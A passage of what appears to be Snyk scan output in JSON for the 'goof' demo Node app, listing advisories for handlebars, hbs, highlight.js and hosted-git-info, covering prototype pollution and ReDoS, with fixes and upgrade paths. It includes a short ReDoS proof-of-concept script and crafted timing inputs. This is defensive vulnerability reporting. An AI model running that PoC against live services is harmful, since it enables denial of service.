Commit](https://github.com/wycats/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86)\n- [GitHub Issue](https://github.com/wycats/handlebars.js/issues/1495)\n- [NPM Security Advisory](https://www.npmjs.com/advisories/755)\n", + "disclosureTime": "2018-12-28T20:34:57Z", + "exploit": "Not Defined", + "functions": [ + { + "functionId": { + "filePath": "dist/amd/handlebars/compiler/javascript-compiler.js", + "className": null, + "functionName": "JavaScriptCompiler.prototype.nameLookup" + }, + "version": [ + ">1.0.12 <4.0.13" + ] + }, + { + "functionId": { + "filePath": "dist/handlebars.js", + "className": null, + "functionName": "JavaScriptCompiler.Handlebars.JavaScriptCompiler" + }, + "version": [ + ">=1.0.6 <=1.0.12" + ] + } + ], + "fixedIn": [ + "4.0.14", + "4.1.2" + ], + "id": "SNYK-JS-HANDLEBARS-173692", + "identifiers": { + "CWE": [ + "CWE-471" + ], + "NSP": [ + "755" + ], + "CVE": [], + "GHSA": [ + "GHSA-6r5x-hmgg-7h53" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:40:53.284737Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-02-14T17:52:50Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/wycats/handlebars.js/issues/1495" + }, + { + "title": "NPM Security Advisory", + "url": "https://www.npmjs.com/advisories/755" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "dist/amd/handlebars/compiler/javascript-compiler.js", + "functionName": "JavaScriptCompiler.prototype.nameLookup" + }, + "version": [ + ">1.0.12 <4.0.13" + ] + }, + { + "functionId": { + "filePath": "dist/handlebars.js", + "functionName": "JavaScriptCompiler.Handlebars.JavaScriptCompiler" + }, + "version": [ + ">=1.0.6 <=1.0.12" + ] + } + ], + "semver": { + "vulnerable": [ + "<4.0.14", + ">=4.1.0 <4.1.2" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.14" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "handlebars", + "version": "4.0.11", + "severityWithCritical": "high" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", + "alternativeIds": [], + "creationTime": "2019-04-14T11:55:45.212136Z", + "credit": [ + "Nils Knappmeier" + ], + "cvssScore": 7.3, + "description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution. A Prototype Pollution allowing Remote Code Execution can be exploited using the constructor, via the 'lookup' helper.\r\nThis vulnerability is due to an incomplete fix for: `SNYK-JS-HANDLEBARS-173692`\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `handlebars` to version 3.0.7, 4.1.2, 4.0.14 or higher.\n## References\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/cd38583216dce3252831916323202749431c773e)\n- [GitHub Issue](https://github.com/wycats/handlebars.js/issues/1495)\n- [SNYK-JS-HANDLEBARS-173692](https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692)\n", + "disclosureTime": "2019-04-13T06:31:34Z", + "exploit": "Not Defined", + "functions": [ + { + "functionId": { + "filePath": "lib/handlebars/helpers/lookup.js", + "className": null, + "functionName": "module.exports" + }, + "version": [ + ">3.0.6 <4.1.2" + ] + } + ], + "fixedIn": [ + "3.0.7", + "4.1.2", + "4.0.14" + ], + "id": "SNYK-JS-HANDLEBARS-174183", + "identifiers": { + "CWE": [ + "CWE-471" + ], + "GHSA": [ + "GHSA-q42p-pg8m-cqh6" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-02-07T10:35:57.706044Z", + "moduleName": "handlebars", + "packageManager": "npm", + "packageName": "handlebars", + "patches": [], + "proprietary": false, + "publicationTime": "2019-04-14T06:31:34Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/wycats/handlebars.js/commit/cd38583216dce3252831916323202749431c773e" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/wycats/handlebars.js/issues/1495" + }, + { + "title": "SNYK-JS-HANDLEBARS-173692", + "url": "https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "lib/handlebars/helpers/lookup.js", + "functionName": "module.exports" + }, + "version": [ + ">3.0.6 <4.1.2" + ] + } + ], + "semver": { + "vulnerable": [ + ">=3.0.0 <3.0.7", + ">=4.1.0 <4.1.2", + ">=4.0.0 <4.0.14" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.14" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "handlebars", + "version": "4.0.11", + "severityWithCritical": "high" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N/E:P", + "alternativeIds": [], + "creationTime": "2021-08-17T11:02:48.815315Z", + "credit": [ + "Agustin Gianni" + ], + "cvssScore": 3.4, + "description": "## Overview\n[hbs](https://www.npmjs.org/package/hbs) is an Express.js template engine plugin for Handlebars\n\nAffected versions of this package are vulnerable to Information Exposure. `hbs` mixes pure template data with engine configuration options through the `Express` render API. By overwriting internal configuration options a file disclosure vulnerability may be triggered in downstream applications.\n## Remediation\nThere is no fixed version for `hbs`.\n## References\n- [PoC and Explanation](https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/)\n", + "disclosureTime": "2021-08-17T10:50:41Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [], + "id": "SNYK-JS-HBS-1566555", + "identifiers": { + "CWE": [ + "CWE-200" + ], + "GHSL": [ + "GHSL-2021-020" + ], + "CVE": [ + "CVE-2021-32822" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-08-17T14:14:00.467905Z", + "moduleName": "hbs", + "packageManager": "npm", + "packageName": "hbs", + "patches": [], + "proprietary": false, + "publicationTime": "2021-08-17T14:14:00.465869Z", + "references": [ + { + "title": "PoC and Explanation", + "url": "https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/" + } + ], + "severity": "low", + "socialTrendAlert": false, + "title": "Information Exposure", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "*" + ] + }, + "from": [ + "goof@1.0.1", + "hbs@4.0.4" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "hbs", + "version": "4.0.4", + "severityWithCritical": "low" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:N/A:H", + "alternativeIds": [], + "creationTime": "2020-11-25T12:50:16.634305Z", + "credit": [ + "Vladimir Jimenez", + "Josh Goebel", + "Travis Ralston" + ], + "cvssScore": 5.8, + "description": "## Overview\n[highlight.js](https://www.npmjs.com/package/highlight.js) is a syntax highlighter written in JavaScript. It works in the browser as well as on the server. It works with pretty much any markup, doesn’t depend on any framework, and has automatic language detection.\n\nAffected versions of this package are vulnerable to Prototype Pollution. A malicious HTML code block can be crafted that will result in prototype pollution of the base object's prototype during highlighting. If you allow users to insert custom HTML code blocks into your page/app via parsing Markdown code blocks (or similar) and do not filter the language names the user can provide you may be vulnerable.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `highlight.js` to version 9.18.2, 10.1.2 or higher.\n## References\n- [GitHub Commit](https://github.com/highlightjs/highlight.js/commit/7241013ae011a585983e176ddc0489a7a52f6bb0)\n- [GitHub PR](https://github.com/highlightjs/highlight.js/pull/2636)\n", + "disclosureTime": "2020-11-24T22:58:41Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "9.18.2", + "10.1.2" + ], + "id": "SNYK-JS-HIGHLIGHTJS-1045326", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-vfrc-7r7c-w9mx" + ], + "CVE": [ + "CVE-2020-26237" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-11-25T17:05:14.721131Z", + "moduleName": "highlight.js", + "packageManager": "npm", + "packageName": "highlight.js", + "patches": [], + "proprietary": false, + "publicationTime": "2020-11-25T17:05:14.497065Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/highlightjs/highlight.js/commit/7241013ae011a585983e176ddc0489a7a52f6bb0" + }, + { + "title": "GitHub PR", + "url": "https://github.com/highlightjs/highlight.js/pull/2636" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=7.2.0 <9.18.2", + ">=10.0.0 <10.1.2" + ] + }, + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "highlight.js@9.18.1" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "highlight.js@9.18.2" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "highlight.js", + "version": "9.18.1", + "severityWithCritical": "medium" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", + "alternativeIds": [], + "creationTime": "2020-12-06T09:34:39.383236Z", + "credit": [ + "Unknown" + ], + "cvssScore": 5.3, + "description": "## Overview\n[highlight.js](https://www.npmjs.com/package/highlight.js) is a syntax highlighter written in JavaScript. It works in the browser as well as on the server. It works with pretty much any markup, doesn’t depend on any framework, and has automatic language detection.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via Exponential and Polynomial catastrophic backtracking in multiple language highlighting.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `highlight.js` to version 10.4.1 or higher.\n## References\n- [GitHub Commit](https://github.com/highlightjs/highlight.js/commit/373b9d862401162e832ce77305e49b859e110f9c)\n", + "disclosureTime": "2020-12-04T16:47:20Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "10.4.1" + ], + "id": "SNYK-JS-HIGHLIGHTJS-1048676", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-7wwv-vh3v-89cq" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-06T16:34:07.402949Z", + "moduleName": "highlight.js", + "packageManager": "npm", + "packageName": "highlight.js", + "patches": [], + "proprietary": false, + "publicationTime": "2020-12-06T16:34:07.195287Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/highlightjs/highlight.js/commit/373b9d862401162e832ce77305e49b859e110f9c" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=9.0.0 <10.4.1" + ] + }, + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "highlight.js@9.18.1" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.6", + "highlight.js@10.4.1" + ], + "isUpgradable": true, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "highlight.js", + "version": "9.18.1", + "severityWithCritical": "medium" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-03-23T16:13:42.109692Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 5.3, + "description": "## Overview\n[hosted-git-info](https://www.npmjs.org/package/hosted-git-info) is a Provides metadata and conversions from repository urls for Github, Bitbucket and Gitlab\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression `shortcutMatch ` in the `fromUrl` function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.\r\n\r\n### PoC by Yeting Li\r\n```\r\nvar hostedGitInfo = require(\"hosted-git-info\")\r\nfunction build_attack(n) {\r\n var ret = \"a:\"\r\n for (var i = 0; i < n; i++) {\r\n ret += \"a\"\r\n }\r\n return ret + \"!\";\r\n}\r\n\r\nfor(var i = 1; i <= 5000000; i++) {\r\n if (i % 1000 == 0) {\r\n var time = Date.now();\r\n var attack_str = build_attack(i)\r\n var parsedInfo = hostedGitInfo.fromUrl(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `hosted-git-info` to version 3.0.8, 2.8.9 or higher.\n## References\n- [GitHub Commit](https://github.com/npm/hosted-git-info/commit/bede0dc38e1785e732bf0a48ba6f81a4a908eba3)\n", + "disclosureTime": "2020-11-28T00:00:00Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.0.8", + "2.8.9" + ], + "id": "SNYK-JS-HOSTEDGITINFO-1088355", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "GHSA": [ + "GHSA-43f8-2h32-f4cj" + ], + "CVE": [ + "CVE-2021-23362" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-07-06T14:08:10.106189Z", + "moduleName": "hosted-git-info", + "packageManager": "npm", + "packageName": "hosted-git-info", + "patches": [], + "proprietary": true, + "publicationTime": "2021-03-23T17:13:24Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/npm/hosted-git-info/commit/bede0dc38e1785e732bf0a48ba6f81a4a908eba3" + } + ], + "severity": "medium", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=3.0.0 <3.0.8", + "<2.8.9" + ] + }, + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "test-exclude@4.2.1", + "read-pkg-up@1.0.1", + "read-pkg@1.1.0", + "normalize-package-data@2.4.0", + "hosted-git-info@2.6.0" + ], + "upgradePath": [], + "isUpgradable": false, + "isPatchable": false, + "isPinnable": false, + "isRuntime": false, + "name": "hosted-git-info", + "version": "2.6.0", + "severityWithCritical": "medium" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", + "alternativeIds": [], + "creationTime": "2021-11-14T15:11:37.579980Z", + "credit": [ + "Yoshino-s" + ], + "cvssScore": 8.6, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `validate` function, which when given a special payload will pollute `Object` with undesired attributes.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
